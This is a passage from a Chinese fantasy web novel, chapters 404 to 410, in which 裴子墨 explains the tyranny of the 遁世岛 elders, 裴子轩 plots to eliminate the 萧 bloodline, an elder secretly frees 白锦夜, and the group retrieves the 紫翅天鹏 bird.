“具体的事情,我现在不是很清楚,不过当时便应该也有圣女一脉的前身,就是裴家,‘十一公’离开的时候,也带上了裴家的人,甚至尊裴家为主。” “他们在海外遁世多年,却一直暗中操纵这个世界的一切,甚至操纵人的生老病死,这些就违背了地府制定的规矩,也因此和地府结了仇怨。” “可如果他们不操纵人的生老病死,他们参悟的规律就没有任何用处。” “而操纵这些,也不是他们的最终目的,他们是希望通过操纵这些,来发现更多更大的规律,为自己谋福利。” “他们把遁世岛打造得如铁桶一般,地府拿他们根本没办法,只能把这些账一笔笔的记下来。” “就这样过了很多年,遁世岛发生了一件大事,其中有一个人,发现他们这样操纵之后,自以为自己掌控了规律,其实是破坏了世界运行的规律,甚至在很多地方都引发了一连串的连锁反应。” “比如善人反遭恶报,恶人却一世美满,寿终正寝,导致很多地方怨气冲天,人世间的‘气’已经不平衡了。” “一开始的时候,他们便想办法解决这件事,可是他们一旦离开遁世岛,就会被地府的人盯上,所以他们便对外发布遁世岛任务,希望外面的人来帮他们解决这些让他们头疼的事情。” “只要许以重利,人们便蜂拥而至。后来他们连好处都懒得给,只说给一次成仙的机会,之后把人带到遁世岛当苦力。” “因为他们起初到遁世岛的时候,每家几乎只带了最器重的子孙和下人,但下人的数量终究有限,随着他们在遁世岛安居多年,便需要有更多的人来做事以维持遁世岛的正常运转。” “只是这些事虽然可以临时解决,可治标不治本,最开始发现这件事的那个长老便提议不要再操纵本该就不是他们应该操纵的东西。” “但是……有人一旦能操纵其他人的人生,就开始认为自己是神是仙,根本不愿意放弃这样的权力,即便这权力根本不是属于他的。” “于是他们内部发生了分歧,只不过这个分歧,却是十个人对一个人,最终剩下的十个人合力把另外一个人镇压。” “从此遁世岛就只剩下十个长老,并且有关那个长老的所有事情,也全都从相关的记载上被抹掉。” “但其实,在这十个长老之中,也有人一直想要救出那位长老,也一直想要完成那位长老没有完成的事情。” “这些年……无数年来,为了这件事,其实已经有无数的人丧生,但遁世岛的势力太大,初代‘十一公’的术法都深不可测,跟他们硬来,下场只有一个。” “如今便也只能步步为营,小心为上。” “也是因此,所以地府那边才会帮忙,他们也希望人们的生老病死能够回正到正常的轨道上,在他们的控制之中,不至于再出什么乱子。” “一开始的时候,反抗遁世岛这件事进行得很隐蔽,可后来还是暴露了。于是遁世岛发布任务的时候,基本都会挑起人们的纷争,让人们互相残杀,以来消灭人类之中的术法佼佼者。” “若不是这一世我身上有层层封印,术法一直不到遁世岛监控的标准,没有引起他们的注意,不然早就和前几世一样,被他们盯上,然后想方设法的杀掉。” “可如果你想改变这一切,那等你将来成了遁世岛的岛主,即便受十个长老摆布,不是多少也会有些话语权么?”鬼卿开口问道。 裴子墨摇了摇头,“现任岛主春秋鼎盛,即便说了把我当下任岛主来培养,但实际上等我成了岛主,还不知道要过去多少年,你看已经过了几千年,他依旧是岛主,裴子轩至今也没办法掌握他眼中的大权。” “而且……那时我的术法越来越高,接触遁世岛的事情也越来越多,十个长老就已经开始研究想要控制我的事情。” “其实冥尸,就是一种高阶的控制术,那十个长老,会用稍稍低级一点的控术控制岛主。我拒绝他们的控制,一次两次能找借口,时间久了,他们就开始怀疑我,甚至想要强制动手。” “最开始,我不过只是想要躲开他们的控制,可没想到误打误撞,见到了那第十一个长老,知道了我本来一辈子都不应该知道的事情。” “从那天开始,我便一直谋划着离开遁世岛。但离开遁世岛的路,有一段需要黄泉路,所以……白锦夜就是我从遁世岛上骗出来的。” 裴子墨说着轻笑了一声,“他自从被我骗了开始,每一世都傻的可怜,又傻又惨,没有一世得善终。” “不过这些年帮我的人很多,我欠了很多人人情,也不见得都能还上,但若是我做的事情能够成功,这世间的一切恢复到正常的轨道,那这些人做的,也不算是白白付出,应该就也足够了。” 听完之后,鬼卿沉默了半响,才道,“看样子,如今距离这件事成功,还有一段长路要走。” “是啊。”裴子墨有些无奈地摇了摇头,“但是走了这么多年,也总要坚持下去。最近这些年,遁世岛已经越来越过分,以前他们还不管人们修炼的事情,只是怕有修炼的佼佼者发现遁世岛的秘密。可现在,他们是根本不希望这世上再有人修习术法,最好全都是普通人,自然就更好控制,而且也永远都不会再有人威胁道遁世岛的地位。” “我从小也是听‘十一公’的故事长大,从来没想过……”鬼卿无声地叹了叹气,“那些故事里,他们都是为了人世间谋福利,都是一片善心,从不做恶事。” “小的恶事他们不屑。”裴子墨嗤笑了一声,“以他们的所做作为,将来到了地府,是一定要下十八层地狱永世不得超生的。” 第405章 当年萧玲珑肚子里的孩子 “按照你这样说,为了这件事,你已经耗费了许多年。”鬼卿轻轻皱起眉头,“这一世……” 他想要问,这一世她有信心么? 可是这话问出来,又觉得没有任何意义。 她已经努力了这么久,想必即便这一世不能成功,她依旧不会放弃。 顿了顿,他换了问题,“那他们这次来,若是碰上了,你有什么办法么?” “咱们出发之前,我算了一卦,不出意外的话,这一次碰不上。”裴子墨开口道,说着看着门帘的方向微微眯了眯眼,顿了顿才补充,“这一次,他们主要的目的,我如果没猜错,应该是萧家和白锦夜。” “萧家的人都没了,只剩下萧尺寒,现在咱们把他带走,他们不见得能找到,大概……过段时间带走白锦夜,这一次的事情就可以暂时告一段路。” 说完她才收回目光,看向鬼卿,“上次在血域,我多少又恢复了些记忆,回到圣殿之后,又发现萧玲珑的魂魄还在锁魂玉笛里面,最后问出来,原来当时她肚子里的孩子,是裴子轩的。” 鬼卿有些诧异地看着裴子墨,“裴子轩的孩子?” 裴子墨点点头,“她转世后,本来已经记不起前世的事情,在地府的三生石碎了,上次白锦夜他们去地府的时候,又被人动了手脚,在她三生石上看到的,都是幻象。好在用寒羽的血,破了孟婆汤的功效,才能拷问出来。” “当时他们找上你之前,其实就是裴子轩出来放遁世岛任务。但是任务还没发放的时候,裴子轩就碰到了萧玲珑,也算是……一见钟情吧,于是他就只把那一次遁世岛的任务告诉了萧玲珑,想让她完成这个任务之后,顺理成章的把她带回遁世岛。” “而那一次遁世岛的任务,就是毁掉在外的‘十一公’这些人,让外界术法逐渐凋零。” “说什么血脉归一,唤醒九天玄女的事情,全都是编造出来的。” “所以那一次遁世岛的任务我不清楚,我还以为那些年遁世岛都没有再来过。” “后来你对萧玲珑下了手,以致于萧玲珑没能去成遁世岛。” 鬼卿拧着眉,“可要是这么算,完成遁世岛任务的人,不就是我么?还是说,我对萧玲珑下了手,裴子轩不想让我去?可是很奇怪,他当时没有对我出手,他也不想给萧玲珑报仇么?” “如果按照我以往对遁世岛的理解,那一次的任务不算是完成,别人不说,至少凌幽他们‘神冥公’这一脉的人还在。而且……裴子轩在遁世岛早就成亲,他就算带了萧玲珑回去,萧玲珑的身份也见不得人,遁世岛的长老一旦发现,萧玲珑就没命了。” “我猜,裴子轩一开始是觉得新鲜,但是后来也逐渐的冷静下来,知道带萧玲珑回遁世岛这件事不现实,但是他们出来发布任务的,又不能在外杀人,萧玲珑就成了他扔不掉的麻烦,你杀了萧玲珑,反倒帮了他一个大忙。” “只是估摸着,他压根没想到萧玲珑会怀孕。” 裴子墨说着垂下眼,轻叹了口气之后才道,“因为每一任遁世岛岛主都会担任很多年,岛主的候选人在等待期间,就不知道已经生了多少孩子,这些孩子也早就开枝散叶,所以在候选人继任之前,都要查核后人,记录下来,以便选出再下一任的候选人。” “他可能是估计自己快要继任了,所以提前先自己验算了一遍,才发现自己在遁世岛之外还有一支血脉。” “那在外面的人,有谁能生下他的子嗣,他大概也清楚,所以这一次找借口出来,估计主要是解决这支血脉。” “带回去的可能性不是很大,因为带回去就意味着承认将来他们有继任岛主的权力,他们的一切都要被核查清楚,那多年以前,裴子轩和萧玲珑的事情就会暴露出来,那一次裴子轩没有按照规矩发布遁世岛任务的事情也会被翻出来,裴子轩轻则受罚,重则失去继任的资格。” “况且,这些年,他在遁世岛都不知道有多少子嗣,那些都等着他成为岛主之后,自己也有机会成为候选者,本来竞争就已经很多了,再多上一些,就触动了别人的利益了。” “所以以裴子轩的性子,多一事不如少一事,最好的办法就是把萧家的人都杀掉,这样即便将来验算的时候,发现他有血脉流落在外,但是死无对证,他完全可以一口否决,甚至……还会推到我身上,说我为了什么在陷害他,这件事大概率就会不了了之。” 鬼卿闻言,也大概明白了,“你把萧尺寒带走,总不会是想要给他保留一丝血脉。” 裴子墨也轻笑了一声,“是啊,萧家的能力,对于裴子轩来说,根本不算什么。”她说着眯眼想了想,“我要是没记错,裴子轩当初娶的,就是‘神目公’的后人。他本来是有个相爱的女子,但是听说‘神目公’家族的那女子觉醒了预见未来的能力,就为了这一点,抛弃了青梅竹马的恋人,娶了那个女子。” 说完她嗤笑道,“不过这‘神目公’预见未来的能力,要么像是突如其来的灵感,这样不会对自身有什么损伤,要么就是以自己的寿命或者家族的运势为代价来进行预测。他们一族对这个能力的使用,有很严格的规定。” “我想,大概裴子轩这些年,也没在‘神目公’一脉的身上捞到什么好处。” “他现在是在为自己能够继任岛主的位置图谋,以为把白锦夜带回去,起码能多得到几个长老的支持。” “你们每一任岛主,都能担任这么久,按照你说的,从你离开遁世岛的时候,岛主就是你……那一世的父亲,这么多年都是他,又怎么会突然让裴子轩有了继任的机会?”鬼卿皱起眉头,不太理解。 “若是不出什么大的变故,遁世岛的岛主其实和初代‘十一公’一样,可以长久的活下来,一直当岛主。继任岛主只是为了突发情况,也许是现任岛主做了什么惹恼十位长老的事情,他们想要换人了吧。” 裴子墨轻轻眯了眯眼,抬手撤去了鬼卿设置的阵法,显然是不打算再说了。 鬼卿也识趣的没有再问,出去驾车,换了萧尺寒进来。 第406章 你觉得裴子墨能预言我的未来? 裴子轩回到京城之后,在京城里转了几圈,又打探了一些关于萧家的事,尤其是萧公瑾的邻居。 不过当初对外的事情,基本都是出事后老管家对外面转述的,当时为了保护萧尺寒,便是说萧尺寒也死了,萧家没有一个人活下来。 况且萧尺寒离开的时候,本来就很匆忙,家里也没有打算对外公布他准备出家的事,所以也没有邻居知道萧尺寒还活着。 裴子轩回到驿站,多少也还是有些不放心,于是又给自己起了一卦。 可卦象实在不清晰,以前萧家人多,这血脉还能预测出来,现在就剩下萧尺寒一个人,又隔了这么多代,血脉单薄的几乎可以不计,所以裴子轩的卦象上,对这件事显示得很模糊。 他看着卦象,有些犹豫不定。 裴子衿站在一边看着他,也知道他遇到了难题,皱了下眉头,忍不住提醒,“哥,你马上就要继任岛主,若是被那些长老知道,你算卦还有无法确定的事情,他们一定会……” “一定会怎么样?”裴子轩抬头看向她,语气微凉。 裴子衿犹豫了片刻,才低声道,“我只是提醒你,若是无法解读卦象,以后还是少算卦,不然……长老若是有异议,肯定会延后你继任岛主的时间的,甚至……万一要是他们决定换人……” “换人?”裴子轩一把把桌上的古币扫到地上,站起身,走向裴子衿,“为什么要换人?除了我之外,遁世岛上还有谁有资格继任岛主?那几个本来就不成器庶子庶女么?” “哥!”裴子衿拧起眉,“我只是好心提醒你,我也没有别的意思,你这是在撒什么气?” “我无法解读卦象?你能解读?裴子衿,多少年了,你的术法有一点进步么?我是你哥,我要继任岛主,我继任了之后,你没有好处么?可你能帮我什么?你除了每天添乱,每天到处惹事,每天念叨白锦夜以外,你都能做些什么?”裴子轩眯着眼,逼近裴子衿,语气也咄咄逼人。 “你……”裴子衿蹙起眉,“我在你心里就是这样的?我没有帮你么?当初裴子墨离开之后,你可没少在长老面前落井下石,还不是我帮着你一起说?若是只有你,你以为那些长老会那么相信么?” “你以为长老们相信,是因为我们说的那些话?”裴子轩嗤笑一声,“如果不是裴子墨自己做了什么,你以为就凭我们说那些不痛不痒的话,能动摇她在长老们心里的地位?” “倒也是。”裴子衿也跟着冷笑一声,“怪不得你这么着急继任岛主,你是怕裴子墨哪天后悔了,回到遁世岛,认个错,长老们就会重新考虑让她继任岛主的事情吧?那几个庶子庶女是没什么能力跟你争,可裴子墨不一样,她根本就不需要争,她只要说一句话,就可以把你这些年的努力全都抹杀……” “啪!”裴子轩抬起手,一巴掌扇在裴子衿的脸上。 力道之大,让裴子衿身子一歪,直接倒在了地上。 裴子衿捂着自己的脸,不可置信地看向裴子轩,“你打我?”说完便意识到了什么,“你是被我说中心思了吧?”她说着往地上的古币看了一眼,“也是,若是换了裴子墨,怎么可能会有让她犹疑不定的卦象?” “我想起来了,当初是你成人礼的时候,长老们让裴子墨给你算一卦,算你长大以后的成就,裴子墨怎么说来着?一辈子劳而无功,一事无成……” 裴子轩一抬手,裴子衿的嘴立刻被封上,一个字都吐不出来,她没办法解开裴子轩的术法,只能瞪着眼睛看着他。 裴子轩这才蹲下来,低头看着裴子衿,“你觉得裴子墨能预言我的未来?你真是太天真了,裴子墨这辈子,都没有翻身的可能了。倒是你……可别再抓不住白锦夜,这一次我们就把白锦夜带回去,抓不住他的心,起码你也抓住他的人。” 裴子衿瞪了裴子轩一眼,闭上了眼睛,侧过头,根本不想听他再说话。 裴子轩抓住她的下巴,“当年是为了不想让你太伤心,我们才都骗你说,白锦夜是被裴子墨抓出遁世岛的。事实上……白锦夜根本就是被抓到喜堂上的,若不是有长老控制他,他根本不可能来喜堂。他从头到尾,都没想过要娶你。” “你们的亲事定下来的前几天,他就找过长老们,跟长老们说要求娶裴子墨。” “可裴子墨是长老们眼里的宝贝,婚事慎重又慎重,怎么可能答应他?这才迅速的定下了你和他的婚事,什么青梅竹马,那只是你自己眼里的青梅竹马而已。” “唔!”裴子衿猛地睁开眼睛,死死地盯着裴子轩。 “我已经警告过你了,白锦夜不记得以前那些事,就先不要让他想起来,你偏偏非要提以前的事,还把你的记忆灌给他,真是丢人丢到家!” 裴子轩松开手,站起身,“我告诉你,这次回了遁世岛,你唯一要做的事情,就是搞定白锦夜,如果这件事都做不到,将来我做了岛主,第一个就拿你杀鸡儆猴!” 说完他挥了挥手,解开裴子衿的禁制,“这几天,你就呆在这里,不要出门了,等我搞定白锦夜的事,一起回遁世岛。” 裴子衿虽然没了限制,可张了张嘴,却半天都没能吐出一个字,她不相信裴子轩说的话,她不相信白锦夜从来都没有喜欢过她! 她要问问他,她要让她恢复了记忆,然后好好的问问他! 裴子轩打开门,看着站在门外的随从,微微皱了下眉,抬手掸了掸袖子,“你知道,在遁世岛听到不该听到的话,下场会是什么。” 随从低着头,“属下誓死跟随新任岛主。” 裴子轩轻笑一声,“识相。”说完满意地走开了。 随从这才微微抬起头,看着裴子轩离开的方向,眼里闪过一抹阴冷的光。 第407章 凭我是你爹! 有裴子墨提前告知,白锦夜在从月城回盛京的路上便已安排好一切。 毕竟这一次如果去遁世岛的话,那和以前都是不一样的,以前至少还能随时回到天风国,可遁世岛远离陆地,消息闭塞,估计下一次什么时候能回来就不知道了。 等白锦夜回府后,见到突然出现在他房间的裴子轩也不意外。 裴子轩也没给他什么说话的机会,一挥手,他便失去了知觉。 醒来的时候,已经是在马车上,裴子衿正坐在他的旁边,目光灼灼地看着他。 白锦夜拧起眉头,掀开窗帘,朝外面看去,外面的景色陌生,显然已经离盛京很远了。 见到他的动作,裴子衿才开口解释,“你已经睡了七八天,明日咱们就要到海边了。” 白锦夜转头看了她一眼,重新坐好,没有说话。 “你不用太担心,到了遁世岛,也没有人会伤害你。”裴子衿继续道,说完又补充,“咱们离开之前,我已经帮天风国改了国运,你之后也不用再担心他们。而且……其实你只要跟裴子墨分清界限,长老们就会重新信任你,说不定过些年,你还有机会出来,再看看他们。” 白锦夜依旧没有说话,靠在马车上,闭上了眼睛。 裴子衿轻轻抿了抿唇,“你就这么不愿意理我么?” 白锦夜轻笑一声,也没睁开眼睛,“哦?这个问题需要问出口么?本王以为你已经能看得出来了。” 裴子衿盯着他看了半响,压低了声音,“现在遁世岛很多事务都掌控在我哥的手里,因为当年你在喜堂上弃我而去、和裴子墨离开的事,他至今对你都有微词,况且,等回到遁世岛,那些长老们肯定也会轮番的询问你关于在外面这些年的事情,如果……如果你跟我好好的,我也会让我哥庇护你,也许就不会……” “本王在外面的事情?”白锦夜嗤笑一声,“本王一直就在这里,这里怎么是外面呢?” “你千万不能这么跟长老说话……”裴子衿抬手抓住白锦夜的手腕。 白锦夜迅速的把自己的手抽回来,眉头也拧起来,往旁边移了移,跟裴子衿拉开了些距离。 裴子衿拧眉看着他,脑袋里却回响着之前裴子轩说过的话,她死死地捏着衣角,闭上了嘴没再说话。 第二日傍晚的时候,便到了海边,裴子轩他们之前留在岸边的船有些破损,没办法马上出行,只能停留一晚。 裴子轩给白锦夜设下禁制之后,留下了一个随从守着他,就先去休息了。 白锦夜坐在床上,看着坐在桌边的随从,按照裴子墨说的,这三个随从都不是普通人,他轻轻皱了下眉,闭上了眼睛。 片刻后,便听对面的随从轻咳了一声。 白锦夜睁开眼睛,看向他,“你有事?” 随从冷笑一声,“在外面这么多年,一点长进都没有。” 白锦夜没说话。 “说说吧,这些年在外面,都遇到了什么?”随从又问。 白锦夜往窗外看了一眼,“这还没到遁世岛呢,就开始盘问了?” 随从嗤笑了一声,“你还真想去遁世岛?”说完又道,“放心吧,这里设了禁制,他们听不到你说话。” “本王凭什么相信你?”白锦夜嗤笑一声。 “凭我是你爹!”随从瞪着白锦夜,脸色都气得有些微红。 白锦夜怔了一下,本来正要说什么,但是按照裴子墨之前的话,如果她没有估算错,这来的三个随从其实都是长老,而他那一世的爹就是六长老,难道就是面前的人? “说吧。”凌霄轻哼了一声,“时间不多,拣重要的说。” 白锦夜沉默了会,还是问道,“你怎么证明?” 凌霄这次没说话,不过他脚下却蔓延出一条路,一直朝白锦夜蔓延过去。 白锦夜自然也认出这是黄泉路,他们这一脉用黄泉路辨认,当然是最好的方法。 之前裴子墨也说过,回到遁世岛见到六长老,要把他们之间的事都告诉他。 他犹豫了会,便把从见到裴清歌开始,一直到前些日子在月城见过裴子墨的事情,都说了一遍。 凌霄微微点点头,又打量了白锦夜一眼,“看样子,她自己的安排还不错。” “除了这些,剩下的我都不知道。”白锦夜继续道。 凌霄站起来,“她不让你知道,也不让你修习术法……这一次还让你跟裴子轩回遁世岛?” 白锦夜点点头。 凌霄来回走了几步,轻轻叹了口气,又隔了会,才停下来,从怀里拿出一本书,交给白锦夜,“回去好好看看。” 白锦夜接过书,翻开几页,“这书……我看过一些,不过我看的那本不全,到了后面就完全断了。” “当年他们带出来的,本就是残本。”凌霄又拿出一瓶药,“这药本来是给她准备的,但是现在看起来,她也在有意压制自己的术法,应该有压制的方法,那这药你就留着自己用吧。你按照这本书上的好好修炼,这药一年服用一次,可以掩藏你的术法和气息。”他说着把药扔给白锦夜。 白锦夜拿在手里看了看。 “不过你现在也没必要吃。”凌霄回到桌边坐下,“等你什么时候能做到这个程度,什么时候再开始吃。” 他说着脚下的黄泉路蔓延开,在黄泉路上,开出一朵朵鲜红色的花,甚至开始长出灰色的凝川树。 等凌霄撤回黄泉路的时候,这些东西又全都消失。 “这是……能把地府的东西带到人世?”白锦夜有些诧异地问。 凌霄点点头,“书上都有写,慢慢学吧。” 白锦夜收起他给的东西,“她要做的事情,你也知道?” “以前你不愿意扔下她一个人回遁世岛,她也不想和你分开,可每一次都落不了好结局。她这一次让你什么都不知道,又让你提前回遁世岛,是不想再重蹈覆辙,是想保护你,可走上了这条路,就没什么回头的余地了。” “她要做的事,你也清楚?”白锦夜开口问道。 “我?我知道什么?我什么都不知道。”凌霄说着转头看了看外面,“时间差不多了,你该走了。” 第408章 你还有这种恶趣味? “我走了,那你该怎么办?”白锦夜拧起眉。 “我需要你来担心?”凌霄瞥了他一眼,又道,“放心吧,我都已经安排好了,暂时我会压制你身上的气息,他们不会发现你,等他们发现的时候,我们估计已经到了遁世岛了。” “你要找个人来替代我?”白锦夜立刻明白了他的意思,“可是等到了遁世岛,他们发现那人不是我,肯定就要杀了。” “哦?如今你倒是体恤这些人了?”凌霄挑眉看他。 “不管前世如何,如今我是天风国的王爷,若有人伤害天风国的子民,我就不能坐视不理。”白锦夜开口道。 凌霄嗤笑一声,“你以为这些在船上打扫、修理的普通人,还能活下去么?他们从登上这艘船开始,就注定没命了。你要是愿意,就把这笔账记着。” 白锦夜还想说什么,却瞬间失去了意识。 凌霄垂眼看着倒在地上的白锦夜,“希望你们这一次能成功吧。” 白锦夜醒过来的时候,是趴在马背上,马正站在路边悠闲的吃草。 他从马上下来,也不清楚这是哪里,四处看了看,骑着马沿着路又走了一段,才遇到路人,问清了路线,便往盛京赶去。 他暂时没有去找裴子墨的计划,按照凌霄说的,裴子墨是不希望他有危险,如今他去找她也帮不上什么忙,不如按照凌霄给的书,先修炼,等他的黄泉路能带出地府的东西的时候,再去找裴子墨也来得及。 * 已经回到圣殿的裴子墨本来正在看书,但眉头却轻轻地皱起来。 白锦夜没有离开,没有去遁世岛。 如果他已经被裴子轩带走了,他不可能有机会从裴子轩的手上逃走。 除非…… 裴子墨站起身,走到窗边,朝外面看去。 除非,来的三个长老里面,有六长老。 她轻轻地握了握手,又叹了口气,有些事,终究是改不掉,也避免不了。 “倒是没想到,你原来是这样的身份。”萧尺寒一边看书一边道,他小时便跟着萧公瑾一起学术法,所以看藏书阁里的书也没什么障碍,除了一些古字的书他不认识不看以外,剩下的书也足够看些日子了,“当时我爷爷其实也猜测过你的身份。” 裴子墨转头看他,“猜我的身份?” “我们祖上曾留下过说法,说我们家最大的恩人就是姓‘裴’,日后若是遇到姓裴的又会术法的人,便可示好。” “所以当知道你姓裴的时候,爷爷还以为,萧家的另一次昌盛时期要到了。” 萧尺寒垂下眼,“只是没想到……” “裴姓是你家的恩人?”裴子墨轻笑了一声,“真可惜你那位先祖死了这么多年,都还认为自己当初的选择是对的,你们家这么多年,也把害了你们家的人当做恩人。” “你什么意思?”萧尺寒拧起眉。 裴子墨抬手放出萧玲珑的魂魄,“这就是你们家的那位先祖,萧玲珑,如今我已经把她的术法和一些情绪封印,现在她只是有些当年的记忆,也知道你们‘神目公’的修炼方式方法,可以让她多教教你。” 萧尺寒有些诧异,之前裴子墨说过见过他先祖的魂魄,他确实没想到,她还留着它的魂魄,还会让他们见面。 说完,裴子墨挥手招来一个肉尸,让它带着萧玲珑和萧尺寒去了隔壁的房间。 鬼卿也在角落里看书,等萧尺寒走了才走过来,“你还留着萧玲珑的魂魄?” 裴子墨笑了笑,“裴子轩一定想不到,他还能再和萧玲珑的魂魄见面。若是这见面地点在外面,裴子轩一挥手她就可以魂飞魄散,但若是这见面地点在遁世岛呢?在那些长老的面前,他还有机会对萧玲珑下手么?” “你还有这种恶趣味?”鬼卿笑道。 “裴子轩那种人,也需要不了什么更好的手段来对付,一个萧玲珑就够他头疼和手忙脚乱了。”裴子墨放下手里的书,“这一次出来,恐怕事情办的也不怎么样,回去要交代,也够他喝一壶。” 他出来的目的大概是发布遁世岛任务,另外带回白锦夜。 如果能找到关于自己的信息,那就是顺带的功劳。 但按照以往,他们起码应该等到遁世岛任务完成得差不多的时候,才会返回遁世岛,现在估摸着是抓到了白锦夜,才会提前回去。 可是现在白锦夜并没有被他们带回遁世岛,他甚至也没找到什么有用的关于自己的信息,那这一次回了遁世岛,就纯属办事不力,即便他再花言巧语,恐怕也要费力解释一番。 这样的话,大概他们又能消停一段时间了。 正说着话,寒羽也一边啃鸡腿一边走到了藏书阁门口,裴子墨不让他在藏书阁吃东西,所以他也就停在了门口,“我找到了一条下去的路,但是不太好走。” 寒羽已经在后山断崖那里找了很多天,反正他不想要看书,也不怎么需要修习术法,这种事自然就交给他来做。 裴子墨放下手里的书走过去,“带我们去看看。” “等会等会。”寒羽嚼着肉,“让我吃点,好几天没吃饭了,饿死了。” “带上吃。”裴子墨拽着他的胳膊往外走,鬼卿也跟了上去。 到了后山,寒羽带着他们钻进了旁边茂密的树林,他皮糙肉厚的不怕树枝和高草,鬼卿只好走在裴子墨前面,把挡路的树枝砍掉,清理出来一条能走的路。 寒羽转头看了看,脸上带着几丝嫌弃,“这条路不好走,前面更不好走。” 鬼卿看着他,“走多远?能下到哪?” “远着呢。”寒羽嚼碎鸡骨头咽下去,“只能下到下面的一个平台上,里那个山洞还很远,但是已经能看到水面了,我喊了几声,但是紫翅天鹏没有回应。” “它现在肯定听不见,咱们下去先看看,如果能在术法覆盖范围内,问题就不大。”裴子墨开口道。 寒羽脸上带着开心,“它这一次是不是就能化成人形了?” “不好说,这才没过去多久,你想想你吃了清幽果之后,多久才化成人形。”裴子墨看着他,“不过早早晚晚,别急,会有人陪着你一起吃好吃的的。” 第409章 恐怖的存在 越往下的路,确实越难走,确切的说,是根本就没有路。 只不过是之前寒羽走过一趟,在树林里穿了些缝隙。 “你是怎么找到这条路的?”鬼卿终于忍不住开口问道。 “瞎找呗。”寒羽嘟囔了一句。 鬼卿看了看寒羽的背影,又转头看向裴子墨,“看来寒羽这是有什么小秘密了。” 裴子墨笑了笑没有说话,眼前这根本不能称之为路,寒羽显然是用了别的方法,如果只用了这么几天就找到了下去的路,那么凌幽这么多年,不可能没找到。 不过这办法倒也不难猜,之前寒羽就能听懂紫翅天鹏的话,那估摸着也能听懂其他兽类的话,他完全可以不用自己去找,让其他的兽类帮他去找就可以了。 费了极大的力气,三个人才终于险险地走到寒羽说的平台。 但是那平台也就只有一尺宽,三个人只能紧紧地贴着崖壁。 裴子墨四下看去,完全看不到当时的那个平台和山洞,但确实如寒羽所说,能看到下面的水面。 她从袖子里拿出一道符纸,往前面扔去。 符纸在空中飘了会,落入河水里,随即逆着河水往上漂去。 “走,跟着符纸。”裴子墨说完当先跳进了水里。 鬼卿没有犹豫,当即跟着跳了下来。 寒羽站在窄窄的平台上,看着他们两个大喊道,“我不会游泳啊,怎么办?” 裴子墨转头看他,“那你就在这里等我们吧。” “这里太窄了,我还是回山上去等你们吧。”寒羽看着平台上还有碎石掉进水里,腿都有点抖。 “行。”裴子墨点点,“你自己回去小心点。” 听裴子墨这么说,寒羽一刻都没有停留,调转方向,立刻往回走。 鬼卿收回目光,跟着裴子墨往前游,“修罗一族这么怕水么?” “从小没有见过水,估摸着是害怕吧。”裴子墨说完,顿了顿才道,“我最近感觉,寒羽应该不是一生下来就是傻的,他可能是发生了什么事,又或者像是我一样,很多东西被封印了。” “修罗一族本身就有很多秘密,地府都不见得知道得很清晰,不过现在看来,有些东西应该是本能,即便是现在的寒羽,也能本能的做出对我们来说出人意料的事情,不过对他们来说,可能就是简单的本能。” 鬼卿点点头,“他现在就跟着你,即便将来能恢复,那对你的态度应该也不会变化太多。” “他现在就是小孩性格。”裴子墨说着见符纸漂动的速度变快,便赶紧加快游了过去。 游了差不多一炷香的时间,符纸停了下来,在水面打了几个转以后,就往水下沉去。 裴子墨微微拧了下眉头,紫翅天鹏不是能在水里生存的生物,若是这么就一直在水里,恐怕是要淹死了。 她在符纸消失的地方,一头扎了下去,往下面游了一段,这水深不见底,她闭气都已经到了极限,还是什么都看不见,便只好浮了起来。 鬼卿看她的脸色,就知道这一次下去没看见什么,便道,“我下去看看,你在这等我。” 裴子墨点点头,看着鬼卿没入水中,等了许久,才见鬼卿出来。 “这里太深了。”鬼卿拧起眉,“再往下水里太暗,什么都看不见了,我也不敢再往下去了,紫翅天鹏会在这里么?” “符纸在这里消失,应该就是这里了。”裴子墨拧着眉想了会,“就在这里试试吧。” 说完裴子墨拿出朱砂,在水面上洒下一个阵法。 朱砂遇水没有散开也没有沉下去,等着裴子墨的最后一笔写完,整个阵法才完完整整地往水下沉去。 “咱们躲远点。”裴子墨拉着鬼卿往后退了退,“紫翅天鹏能在水里呆这么久,估摸着是用术法给自己做了一个保护罩,若是它自己做的,那能自己控制着散去,但若是被动形成的,散去的时候,恐怕会波及到我们。” “那丹药里蕴藏的力量,不是我们能对抗的。” 鬼卿跟着裴子墨躲出了十几丈,水面一直很平静,差不过过了一炷香的时间之后,水下先开始有小小的气泡冒出来,随后气泡越来越大,越来越大,没一会水面就开始翻腾起来,然后突然炸开,紫翅天鹏从水下直接冲了上来,随即一声响彻天际的鸟鸣让人震耳欲聋。 它带着一身的水气,直接冲上天空,双翅展开的时候,在翅膀下面闪过一条条闪电。 裴子墨抬头看着它,上一次见到紫翅天鹏的时候,它的翅膀好像还不能放出闪电,看样子最近是真的吸收了不少药力,术法增进很多。 等在树林里的寒羽也看到了飞到半空中的紫翅天鹏,开心地一下子就跳了起来,还跑到了开阔的地方,对着空中的紫翅天鹏晃着双手。 紫翅天鹏在空中盘旋了一圈,低头看到了寒羽,直直地朝他冲了过去,只不过寒羽所在的位置有点小,它实在没有办法落下去,于是又飞了上去,回到了裴子墨和鬼卿的位置,把他们两个背到背上,随后往山顶飞去。 寒羽抬头看着天上紫翅天鹏飞行的方向,跟着一起往山上跑。 他就在树林里横冲直撞,根本不在意树枝刮在脸上。 等他跑到山上的时候,紫翅天鹏早就已经站在那梳理自己的羽毛了。 寒羽绕着紫翅天鹏转了几圈,满脸的失望,“你怎么还没变成人啊?” 紫翅天鹏看了寒羽一眼,眼神里带着几丝嫌弃,随即叽叽喳喳了一会。 寒羽只好充当翻译,“它问为什么要把它叫醒,它说不然等它把药效都吸收完,就能化成人形了。” 裴子墨抬手摸了摸紫翅天鹏的羽毛,没有回答问题,只是说,“你问问它药力大概吸收多少了。” 其实裴子墨说的话,不需要寒羽翻译,紫翅天鹏能听懂,随即也回答了问题,说还不到十分之一。 裴子墨这回都有些羡慕了,还不到十分之一,就已经有这么大的进步,等全都吸收了之后,那大概就是很恐怖的存在了。 第410章 你对白锦夜改观了? 把紫翅天鹏带回了圣殿之后,它在圣殿里转了一圈,最后找了个地方,绕着这个地方转了几圈。 寒羽立刻叫肉尸帮紫翅天鹏做了个窝。 紫翅天鹏开心的在窝里趴下,眼睛一闭又要睡了。 寒羽转身喊着肉尸去做饭,又端到紫翅天鹏的面前把它叫醒给它吃。 做了十几个菜,但是紫翅天鹏只是勉强地吃了一条鱼,又嫌弃鱼难吃。 寒羽商量了它半天,它都不肯吃。 于是寒羽失望的把剩下的菜都吃完了。 裴子墨站在远处,看了一会,才转身往回走。 如今紫翅天鹏就在圣殿,虽然还在睡觉,可随时都能醒过来,也能在她的掌控之中。 